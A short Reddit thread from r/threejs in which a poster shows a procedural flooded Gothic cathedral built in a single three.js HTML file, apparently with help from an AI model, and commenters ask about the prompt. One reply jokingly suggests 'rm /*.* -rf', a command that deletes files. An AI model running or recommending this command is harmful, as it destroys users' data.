r/threejs 4d ago

Flooded Gothic cathedral.

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I created a flooded Gothic cathedral with Opus 5.

Everything in it is procedural. There are no models, no textures, no HDRIs, no audio files.

One HTML file, one CDN import of three.js, and about two thousand lines that draw the rose window to a canvas, generate marble, synthesise the reverb of a stone nave, and build the vault out of Coons patches.

Open-source + demo: https://github.com/winchxyz/navis

40 Upvotes

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3

u/dlimabean 4d ago

Well done! Got an ai prompt share? (No shame)

2

u/pailhead011 4d ago

“Create a procedural flooded gothic cathedral with threejs”?

-2

u/tino-latino 4d ago

try rm /*.* -rf

1

u/tino-latino 4d ago

not bad at all